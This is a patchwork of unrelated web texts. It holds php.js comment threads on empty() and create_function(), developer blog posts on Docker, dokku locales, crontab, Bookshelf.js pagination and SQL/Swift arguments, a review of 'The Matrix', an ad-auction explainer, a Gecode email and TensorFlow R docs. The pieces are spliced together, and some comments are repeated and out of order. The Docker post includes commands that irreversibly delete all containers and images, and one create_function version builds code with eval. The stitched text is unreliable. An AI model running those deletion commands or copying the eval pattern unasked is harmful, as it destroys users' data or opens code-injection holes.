Kevin, I believe dmitriy means filtering via hasOwnProperty inside the for loop. I can make the change, but for this function I wonder whether some users might like to verify that the array/object is _really_ empty (including of prototype-inherited properties). Thoughts? Maybe add an ini_set() configuration option to allow both cases?

empty([]) will fail if we extend Array with some methods via prototype. I suppose we should check our keys do not to be function. Does it have a sense?

@Stoyan Kyosev: I committed a change at http://github.com/kvz/phpjs/commit/dd40b8850a29c0617a40c7ca5ed2ae90fd720a22 to use the "typeof" check, which doesn't suffer from the same problem (nor will it encourage bad practices for those who see our code and don't know why we're doing it). However, I'm not really sure it is justified to do this for all our other functions which test for it since 1) It takes up a little more space, and 2) JavaScript has quite a few ways for you to redefine things (e.g., var isNaN = 5;). Any opinions? But it doesn't hurt, so there ya go... :) Thanks for the input...

As noted in http://www.sitepoint.com/blogs/2009/11/12/google-closure-how-not-to-write-javascript/:
"This function checks if a particular variable has a value defined. Or it does, unless a 3rd party script sets the global undefined variable to something else. "
var undefined = 5;
"u might think that anyone who assigns a value to undefined deserves what they get, but the fix in this case is trivial: simply declare a local undefined variable for use within the function!simply declare a local undefined variable for use within the function!"
function empty(val) {
var undefined;
return val !== undefined;
};
I suggest to use this "fix" in the current implementation of 'empty'.

@ Knoxius: Sometimes the most simple functions require the most insane JavaScript code. Seen echo ? ;)
Brett Zamir
on 2009-04-13 07:23:21
@Knoxius, PHP.JS is treating objects as associative arrays, including ones without a length property, so that wouldn't work for our project. We are also attempting to mimic PHP behavior fully for those familiar with PHP or wishing to use its approach. For example, your function would not consider any number to be non-empty, whereas PHP only considers 0 as such. Of course, your function might work just fine for your own purposes, but we're trying to build a reliable, consistent API, and PHP is the standard to go by (if we just made our own decisions at every turn, there wouldn't be much justification for sticking to PHP function names, as it'd probably just be more confusing for those who expected it to behave as in PHP).

This version seems a bit complex for the mock-function. Couldn't it be simpler by doing something like this:
function empty(string) {
if(string.length == 0) {
return true;
} else {
return false;
}
}
It seems a lot simpler, and it still works perfectly fine.
Example:
var myString = 'This is a string.';
if(empty(null)) { //Returns true
alert("It is empty.");
} else if(empty(myString)) { //Returns false
alert("It is not empty.");
}
There could be something about your code that is better, but it seems a bit too complex for what it could be.

Nice work folks, but I think I found a bug: shouldn't the following code yield 'false'?
var anObj = {
'aFunc' : function () { alert('humpty'); }
};
alert( empty( anObj ) ); // alerts true, but the object contains an element
This is IMHO wrong for arrays as well:
var anArr = [
function () { alert( 'dumpty' ); }
];
alert( empty( anArr ) ) ; // alerts true, but the array contains an element
Named functions should behave the same.

If it's all right, Kevin, I'll change the text for !== 'function' to be a test for whether o.hasOwnProperty(i). That solves the prototype problem (though even that might be considered non-empty) but avoids the current issue of considering this to be empty: var o = {method:function(){}}
Brett Zamir
on 2008-11-03 10:27:16
If you like, here's a little bit cleaner and slightly safer implementation, I think:
function create_function (args, code) {
//$newfunc = create_function('$a,$b', 'return $a + $b;');
// alert($newfunc(5, 4));
var argmnts = [];
argmnts = args.split(/,\s*/);
return Function.apply(null, argmnts.concat(code));
}
But if one just wishes an anonymous function, they can just do:
call_user_func_array(function(arg) {...}, $a);
or if they need a string
call_user_func_array(new Function($arg1, $code), $a);
For one behaving more like PHP in returning a global name for the new function:
function create_function (args, code) {
// $newfunc = create_function('$a,$b', 'return $a + $b;');
// alert($newfunc); // 'lambda_1'
// alert( window[$newfunc](5, 3) ); // 8 (need window to call it, since the PHP behavior is to return a string)
var funcName = '';
if (!this.php_js) {
this.php_js = {};
}
if (!this.php_js.create_function_ct) {
this.php_js.create_function_ct = 0;
}
this.php_js.create_function_ct++;
funcName = 'lambda_'+this.php_js.create_function_ct;
eval(funcName+' = function (' + args + ') { ' + code + '}');
return funcName;
}

If you extend the Array or Object prototype, empty([]) and empty({}) return true...
i've added
if (typeof mixed_var[key] !== 'function' )
this test before returning false in the for cicle, thanks

typeof array will be 'object' so the check for 'array' maxes no sense:
function empty( mixed_var ) {
if (mixed_var === ""
|| mixed_var === 0
|| mixed_var === "0"
|| mixed_var === null
|| mixed_var === false
|| mixed_var === undefined
|| (mixed_var instanceof Array && mixed_var.length === 0)
) {
return true;
}
Something else: what about empty({}) ?
If you consider {} an object as in PHP then it will never be empty. But I would never use it like that. It would make more sense to call empty({}) when {} could be considered as an associative array, and in that case it is empty and should return true:
function empty( mixed_var ) {
if (mixed_var === ""
|| mixed_var === 0
|| mixed_var === "0"
|| mixed_var === null
|| mixed_var === false
|| mixed_var === undefined
){
return true;
}
if (typeof mixed_var == 'object') {
for (var i in mixed_var) {
return false;
}
return true;
}
return false;
}
Note that in this implementation I removed the line that handles arrays because the section that takes care of objects handles this correctly for arrays anyway.

Nice work folks, but I think I found a bug:
shouldn't the following code yield 'false'?
var anObj = {
'aFunc' : function () { alert('humpty'); }
};
alert( empty(anObj) ) // alerts true, but the object contains an element
// is IMHO wrong for arrays as well:
var anArr = [
function () { alert('humpty'); }
];
alert( empty(anArr) ) // alerts true, but the array contains an element
Named functions should behave the same.

The goal of the package is to equip the 'jmcm' package (current version <IP_ADDRESS>) with estimations of the covariance of estimated parameters. Two methods are provided. The first method is to use the inverse of estimated Fisher's information matrix, see M. Pourahmadi (2000) <doi:10.1093/biomet/87.2.425>, M. Maadooliat, M. Pourahmadi and J. Z. Huang (2013) <doi:10.1007/s11222-011-9284-6>, and W. Zhang, C. Leng, C. Tang (2015) <doi:10.1111/rssb.12065>. The second method is bootstrap based, see Liu, R.Y. (1988) <doi:10.1214/aos/1176351062> for reference.

It’s hard to find root of truth sometimes, especially when you have to much hype
about it. I’ve usually start from awesome-*
one. This time when I decide to
take a look on Redux
m journey was pretty much the same. Go to Github
, and
search for Redux Awesome. It leads
me to huge list of Article, Videos etc. To much information some times even
worth then lack of it.
So my way to get into this is find some kind of step by step introduction.
I’ve just find a good one and I hope you will find it useful too.

Warning: This will destroy all your images and containers. It will not be possible to restore them!
Problem: You use Docker, but working with it created lots of images and
containers. You want to remove all of them to save disk space. Some times I go
deep in cowboy style development where all I want to do is do things fast. After
this jam session I usually find my place ruined with tons of images and
containers. It’s nice to start all things from scratch, and what you can do if
you want to.
You can easily remove all images and containers by executing following lines.
# Delete all containers
$ docker rm $(docker ps -a -q)
# Delete all images
$ docker rmi $(docker images -q)

I was recently experience some annoying thing. If you choose to install dokku
on DigitalOcean
you will probably get something like so:
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_CTYPE = "UTF-8",
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
It catching eye and drives me nuts. Following instruction can save you some time
if you have the same.
You just need update your locale
file
$ sudo cat > /etc/default/locale <<'EOT'
LANGUAGE=en_US.UTF-8
LC_ALL=en_US.UTF-8
LANG=en_US.UTF-8
LC_TYPE=en_US.UTF-8
EOT
and reconfigure it
$ sudo locale-gen en_US.UTF-8
$ sudo dpkg-reconfigure locales
As result you gonna see something like this
dpkg-reconfigure locales
Generating locales...

CronTab is pretty powerful app, but we often don’t pay attention to it, here is some tips i’ve found useful for me.
* * * * * command to be executed
┬ ┬ ┬ ┬ ┬
│ │ │ │ │
│ │ │ │ │
│ │ │ │ └───── day of week (0 - 6)
│ │ │ └────────── month (1 - 12)
│ │ └─────────────── day of month (1 - 31)
│ └──────────────────── hour (0 - 23)
└───────────────────────── min (0 - 59)
Some Examples
0 * * * * every hour
*/15 * * * * every 15 mins
0 */2 * * * every 2 hours
0 0 0 * 0 every sunday midnight
Basic commands
Open in editor
bash
$ crontab -e
List tasks
bash
crontab -l [-u user]
Cron Tab checkers
It’s hard to remember this format, and crontab doesn’t provide a handy way to check your syntax, like nginx
does for instance. But there is plenty of checkers online what you can use.
Apply the principle of least privilege
The sixth column of a system crontab(5) file is the username of the user as which the task should run:
0 * * * * root cron-task
To the extent that is practical, you should run the task as a user with only the privileges it needs to run, and nothing else. This can sometimes make it worthwhile to create a dedicated system user purely for running scheduled tasks relevant to your application.
0 * * * * myappcron cron-task
This is not just for security reasons, although those are good ones; Similarly, for tasks with database systems such as MySQL
, don’t use the administrative root user if you can avoid it; instead, use or even create a dedicated user with a unique random password stored in a locked-down ~/.my.cnf
file, with only the needed permissions. For a MySQL
backup task, for example, only a few permissions should be required, including SELECT
, SHOW VIEW
, and LOCK TABLES
.
Customize your tasks properly
If necessary, you can set arbitrary environment variables for the tasks at the top of the file:
MYVAR=myvalue
0 * * * * you cron-task-which-use-env-vars
Send the output somewhere useful
Another common mistake is failing to set a useful MAILTO at the top of the crontab(5) file, as the specified destination for any output and errors from the tasks. cron(8) uses the system mail implementation to send its messages, and typically, default configurations for mail agents will simply send the message to an mbox file in /var/mail/$USER
, that they may not ever read. This defeats much of the point of mailing output and errors.
This is easily dealt with, though; ensure that you can send a message to an address you actually do check from the server, perhaps using mail(1):
$ printf '%s\n' 'Test message' | mail -s 'Test subject'<EMAIL_ADDRESS>Once you’ve verified that your mail agent is correctly configured and that the mail arrives in your inbox, set the address in a MAILTO
variable at the top of your file:
<EMAIL_ADDRESS>0 * * * * you cron-task-1
*/5 * * * * you cron-task-2
If you don’t want to use email for routine output, another method that works is sending the output to syslog with a tool like logger(1):
0 * * * * you cron-task | logger -it cron-task
Alternatively, you can configure aliases on your system to forward system mail destined for you on to an address you check. For Postfix, you’d use an aliases(5) file.
I sometimes use this setup in cases where the task is expected to emit a few lines of output which might be useful for later review, but send stderr output via MAILTO
as normal. If you’d rather not use syslog, perhaps because the output is high in volume and/or frequency, you can always set up a log file /var/log/cron-task.log
… but don’t forget to add a logrotate
for it!

There is two ways of using arguments both has pros and cons, I want to emphasize
that there is no “silver bluet” and you don’t have to choose one or another. You
have to know both and use both whenever it appropriate.
Indexed arguments
Some application, languages, and even syntax contractions force you to use index
version of arguments, they all well known and don’t worth to mention, but what
is really interesting that some times we can use it in unexpected places.
in Postgres
Each of the arguments you specify in a select
has a 1-based index and you can
use these indexes in the order by
as well as group by
statements.
Instead of writing
select id, updated_at from posts order by updated_at;
you can write
select id, updated_at from posts order by 2;
If you want to group by a table’s type
and then order by the counts from
highest to lowest, you can do the following
select type, count(*) from transaction group by 1 order by 2 desc;
in Swift
Closure automatically provides shorthand argument names to inline closures,
which can be used to refer to the values of the arguments by the names $0, $1,
$2, and so on.
Instead of writing
reversed = names.sort({
(s1: String, s2: String) -> Bool in
return s1 > s2
})
you can write
reversed = names.sort( { $0 > $1 } )

Hi there my node curious friends. Today I would like to look at one of the most common components in application development, pagination. Almost every database driven application that you build requires some kind of pagination functionality.
If you have read some of my previous posts, you would have noticed how fond I am of Bookshelf.js. In this post, I am going to show you how to implement pagination using Bookshelf.js, Express, and Jade. We are going to take code used in a previous post, Building a simple API with Express and Bookshelf.js, modify it to be more modular, and then implement today's solution.
This is how I am going to approach today's problem:
git clone git@github.com:qawemlilo/node-mysql.git pagination
The best way to implement pagination is to have a base collection that will be extended by other collections. This will ensure that all the collections we create will have pagination therefore enforcing DRY principles.
Before going any further, let us define what we want in our pagination:
It is also important to note that we do not want to override any functionality of the Bookshelf Collection API - if someone used our collection without the full knowledge of pagination, everything should still work as expected.
Enough with the chit-chat, let's write some code.
collections/base.js
"use strict";
var Bookshelf = require('../dbconnect')();
Bookshelf.Collection = Bookshelf.Collection.extend({
limit: 10,
currentpage: 1,
pagination: {},
base: '',
paginationLimit: 10,
queries: [],
order: 'desc',
/**
* generates pagination data
* @returns: {Object} - pagination data object
*/
generatePagination: function (totalRecords) {
var self = this;
var totalpages = Math.ceil(totalRecords / self.limit);
var groups = Math.ceil(totalpages / self.paginationLimit);
var currentpage = self.currentpage;
var items = [];
var lastpage = totalpages;
var next = currentpage < lastpage ? currentpage + 1 : 1;
var prev = currentpage < 2 ? lastpage : currentpage - 1;
var isFirstPage = currentpage === 1;
var isLastPage = currentpage === lastpage;
var highestF = currentpage + 2;
var lowestF = currentpage - 2;
var counterLimit = totalpages - 2;
if (groups > 1) {
items.push(1);
items.push(2);
// if our current page is higher than 3
if (lowestF > 3) {
items.push('...');
//lets check if we our current page is towards the end
if (lastpage - currentpage < 2) {
lowestF -= 3; // add more previous links
}
}
else {
lowestF = 3; // lowest num to start looping from
}
for (var counter = lowestF; counter < lowestF + 5; counter++) {
if (counter > counterLimit) {
break;
}
items.push(counter);
}
// if current page not towards the end
if (highestF < totalpages - 2) {
items.push('...');
}
items.push(lastpage - 1);
items.push(lastpage);
}
else {
// no complex pagination required
for (var counter2 = 1; counter2 <= lastpage; counter2++) {
items.push(counter2);
}
}
self.pagination = {
items: items,
currentpage: currentpage,
base: self.base,
isFirstPage: isFirstPage,
isLastPage: isLastPage,
next: next,
prev: prev,
total: totalRecords,
limit: self.limit
};
return self.pagination;
},
/**
* Creates pagination data
* @returns: {Promise} - resolves with pagination object
*/
paginate: function () {
var self = this;
var query = self.model.forge().query();
var totalpages = 0;
if (self.queries.length > 1) {
self.queries.forEach(function (where, i) {
if (i === 0) {
query.where(where[0], where[1], where[2]);
}
else {
query.andWhere(where[0], where[1], where[2]);
}
});
}
return query.count('id AS total')
.then(function (results) {
totalpages = parseInt(results[0].total, 10);
return self.generatePagination(totalpages);
});
},
/**
* fetches posts ordered by {sortColumn} and creates pagination
* @returns: {Promise} - resolves with an Object
*/
fetchBy: function (sortColumn, options, fetchOptions) {
options = options || {};
fetchOptions = fetchOptions || {};
var self = this;
var limit = parseInt(options.limit, 10) || self.limit;
var currentpage = parseInt(options.page, 10) || self.currentpage;
var order = options.order || self.order;
self.queries = options.where || [];
self.currentpage = currentpage;
self.limit = limit;
self.order = order;
self.base = options.base || '';
function fetch() {
return self.constructor.forge()
.query(function (query) {
query.limit(limit);
self.queries.forEach(function (where, i) {
if (i === 0) {
query.where(where[0], where[1], where[2]);
}
else {
query.andWhere(where[0], where[1], where[2]);
}
});
query.offset((currentpage - 1) * limit);
query.orderBy(sortColumn, order);
})
.fetch(fetchOptions)
.then(function (collection) {
return {
collection: collection,
pagination: self.pagination
};
});
}
return self.paginate().then(fetch);
}
});
module.exports = Bookshelf;
This is the base collection and below is an example of how it is extended:
collections/posts.js
var Base = require('./base');
var Post = require('./models/post');
var Posts = Base.Collection.extend({
model: Post
});
module.exports = Posts;
Whenever we want to fetch a paginated set of data we'll use the .fetchBy
method. This method accepts 3 arguments:
fetch
methodI have created a controller that handles pagination:
controllers/posts.js
var Posts = require('../collections/posts');
module.exports.getPosts = function (req, res) {
var posts = new Posts();
var page = parseInt(req.query.p, 10);
var limit = parseInt(req.query.limit, 10) || 10;
var currentpage = page || 1;
var order = req.query.order || "asc";
posts.fetchBy('published_at', {
page: currentpage,
limit: limit,
order: order,
where: [
['user_id', '=', 1],
['category_id', '=', 3]
]
},
{
columns: ['id', 'slug', 'html', 'title'],
withRelated: ['category']
})
.then(function (data) {
res.render('posts', {
pagination: data.pagination,
posts: data.collection.toJSON()
});
})
.catch(function (error) {
res.status(500).send(error.message);
});
};
All that is left now is to associate the .getPosts
method with a route of your choice and create a posts.jade
view.
In the spirit of the DRY principle I am going to create a jade mixin that accepts the pagination object and generates the pagination html. Its always a good idea to have a mixins
directory inside your views directory.
views/mixins/pagination.js
mixin paginate(pagination)
if pagination.limit < pagination.total
.row(style='text-align: center')
ul.pagination
if (pagination.isFirstPage)
li.disabled
a(href='#') « Prev
else
li
a(href='?p=#{pagination.prev}') « Prev
each page, i in pagination.items
if (page == '...')
li.disabled
a(href="#") ...
else
if (page == pagination.currentpage)
li.active
a(href='#{pagination.base}?p=#{page}') #{page}
else
li
a(href='#{pagination.base}?p=#{page}') #{page}
if (pagination.isLastPage)
li.disabled
a(href='#') Next »
else
li
a(href='#{pagination.base}?p=#{pagination.next}') Next »
Below is an example of how you would use the mixin inside a jade view:
views/posts.jade
extends layout
include mixins/pagination
block content
div(class="col-sm-8 blog-main")
each post, i in posts
dl.dl-horizontal
dt #{post.created_at}
dd
a(href="/posts/#{post.slug}") #{post.title}
mixin paginate(pagination)
I have created a repo, https://github.com/qawemlilo/pagination, with a fully functional demo. This is how you can run it:
git clone https://github.com/qawemlilo/pagination.git
npm install
config.js
with your db detailsnode migrate && node seed
node app
That's all folks! Please share on twitter if you enjoyed this post :)


Possible Gap product placements in "The Matrix": Khakis Explode? Khakis Virtual? CyberKhaki? In fact, there's a perfect moment to yell out "khakis?" in a crowded movie theater: soon after Lawrence Fishburn says, "You can get anything you want," that's the right time. MST3K could not have asked for a better lead.
Actually, the movie isn't MST3K fodder, beyond the usual quota of Keanu moments; these pass quickly, though they're worth a few chuckles ("Keanu Fu"). Perhaps the best way to describe "The Matrix" as a movie is to say it's some sort of live action Japanese anime. You have the hyperkinetic martial arts, the bad-ass pose downs for which the movie lives, the impossible body dynamics of being tossed at a brick wall or leaping gulfs, perhaps even a large-eyed woman if you use a little imagination with Carrie-Ann Moss. It's a fun, mindless action movie, featuring the aforementioned Martial Arts Plus, prodigious amounts of ammunition, and Quake-like charge-into-big-room-and-shoot-everyone video game violence. What more can you ask for?
Beyond style and action, I'm not sure what else to say. Keanu's character appears to have no past, so that's an indication of his alienation from this world? All the eye imagery and the sunglasses indicate how strongly the world is based on perception? I'm sure that we can come up with lit crit that talks about the eye symbolism in this movie, and the focus on sunglasses, mirrored or otherwise, and how Agent Smith's pupils are apparently manipulated during the interrogation scene to be more square than round. But, you know, I think all the sunglasses are there to look cool, and they're just showing how Smith is the evil automaton he is.  That's what we're aiming for. No need for anyone to say, "hey, you're driving at night, take the glasses off!"
Yes, they do try for the Deep Thought at times. The primary one is the Information Age update of Plato's Parable of the Cave. When Fishburn describes the nature of reality and his efforts of freeing others from the illusions of life, his speech is almost lifted from the Cliff Notes on "The Republic". The notion of the world as shadow play on cave walls is, of course, an old, rich science fiction vein; many have been there before for ideas, and many will be there later. No one is really expecting "The Matrix" to break new SF ground, and in fact the various "the Matrix is this, the Matrix is that" speeches that Fishburn gives are repetitive (well, Keanu isn't the brightest) and bog down the film. A good ten or twenty minutes can be cut from the middle, and no one would notice.
Oh, the link between The Matrix and the Gap khaki ads goes one step beyond the large blank white rooms where some of the action takes place. There's also marriage of computer and camera, with the augmented overcranking and the virtual camera tricks that make the freeze-and-rotate effects possible [1]. The Matrix, as noted, is a visual marvel.

In online ad industry, ad inventory is increasingly sold through Real Time Bidding (RTB). In this article, we describe three of the most prominent auction strategies used in RTB. All these auctions are sealed bid auctions. (i.e. bidders do not know about values bid by each other)
This is an auction method where there is one object to be sold and multiple buyers. Each buyer bids a value. The highest bidder is awarded the object and he pays the price equal to the second highest bid value. For instance, if a pen is being auctioned and P1, P2, P3 bid 70, 50, 40 respectively then P1 wins the auction and pays 50.
What it means is that each participant has an incentive to bid the true value that he attaches to the object.
Let’s see this using an example. Let’s say an auction for a pen is taking place. I value that pen at 50. Then, it is best for me to bid 50. Why?
Suppose, I become aggressive and bid 60 instead of 50. Then
Similarly, suppose I bid conservative and bid 40 instead of 50. Then
As can be seen from above, truth telling is never worse off than bidding higher or lower and sometimes it is better than alternative strategies. Hence, truth telling is a dominant strategy in second price auction.
In case participants are not incentivized to bid their true values, their bids would be dependent on their guess about other participants’ bids. This would lead to differing bid values by participants even when inventory quality remains the same. Thus, revenues of seller would be variable, and that is not desirable by the sellers.
They are auction strategies where
There are various ways to understand GSP and VCG. In this article, let’s consider the setting that is suitable for understanding auction in ad space.
Example below is inspired from this wikipedia article. Let’s say there are two ad slots with CTRs of 0.9 and 0.4 respectively (irrespective of the ad that is shown here). Let’s say there are three bidders A, B and C who value the clicks at 7, 6 and 1 units respectively. They need to pay the seller only if an ad gets clicked.
Let’s say the participants bid values 7, 6 and 1 respectively.
GSP
Here is how GSP conducts the auction. Highest bidder, A, wins first slot and pays the second highest bid (6). Second highest bidder, B, wins the second slot and pays the next highest bid (1).
Net value realized by A is (7 - 6) * 0.9 = 0.9
Net value realized by B is (6 - 1) * 0.4 = 2
Net revenue of seller is 6 * 0.9 + 1 * 0.4 = 5.8
GSP has a shortcoming that revealing their true valuations in bids is not always optimal for the participants. For instance, in above example A can bid 2, which leads B to win first slot at 2 units and A to win second slot at 1 unit.
In this case, Net value realized by B is (6 - 2) * 0.9 = 3.6
Net value realized by A is (7 - 1) * 0.4 = 2.4
Thus, we see that A can realize more value by bidding lower than his true value.
VCG
Here is how VCG conducts the auction. As in GSP, highest bidder, A wins the first slot and second highest bidder B wins the second slot.
To calculate the bid value of A, we find how much penalty does A cause to other participants by being present in the system, and winning the first slot. If A were not present in the system, B and C would win first and second slots and derive a total value of 6 * 0.9 + 1 * 0.4 = 5.8. Once A gets first slot, B derives a value 6 * 0.4 = 2.4 and C derives a value 0. So, A should pay 5.8 - 2.4 = 3.4.
Similarly, B should pay 1 * 0.4 = 0.4, since this is the value by which C is harmed by his presence (A is not harmed by B’s presence).
In this case, total revenue realized by seller = 3.4 + 0.4 = 3.8
Second price auction is a specific case of generalized second price auction where there is only one item for sale.
While truth telling is dominant strategy in second price auction, it is not so in generalized second price auction.
Truth telling is dominant strategy in VCG auction. I have not read the proof for that.
Revenue for seller is usually higher in GSP, compared to VCG. This is is the case for example in above example. I do not know what are the precise conditions in which this holds true.

Hi Christian ;),
you are absolutely right we can do this with the global count
constraint and I have actually found a paper which compares the two
approaches (Complete Bound Consistency for the Global Cardinality
Constraint, Irit Katriel, Sven Thiel at
http://citeseer.ist.psu.edu/721003.html ). I will remodel my problem
and see which one performs better,
thanks for the pointer and let me take this moment to let you know I
am very impressed with Gecode in performance, quality and the level of
documentation, I still have to encounter my first bug in using Gecode,

If users keep data in tf$Example
format, they need to call tf$parse_example
with a proper feature spec. There are two main things that this utility
helps:
Users need to combine parsing spec of features with labels and weights (if
any) since they are all parsed from same tf$Example
instance. This utility
combines these specs.
It is difficult to map expected label by a regressor such as dnn_regressor
to corresponding tf$parse_example
spec. This utility encodes it by getting
related information from users (key, dtype).
regressor_parse_example_spec(feature_columns, label_key,
label_dtype = tf$float32, label_default = NULL,
label_dimension = 1L, weight_column = NULL)
| feature_columns | An iterable containing all feature columns. All items
should be instances of classes derived from |
| label_key | A string identifying the label. It means |
| label_dtype | A |
| label_default | used as label if label_key does not exist in given
|
| label_dimension | Number of regression targets per example. This is the
size of the last dimension of the labels and logits |
| weight_column | A string or a |
A dict mapping each feature key to a FixedLenFeature
or
VarLenFeature
value.
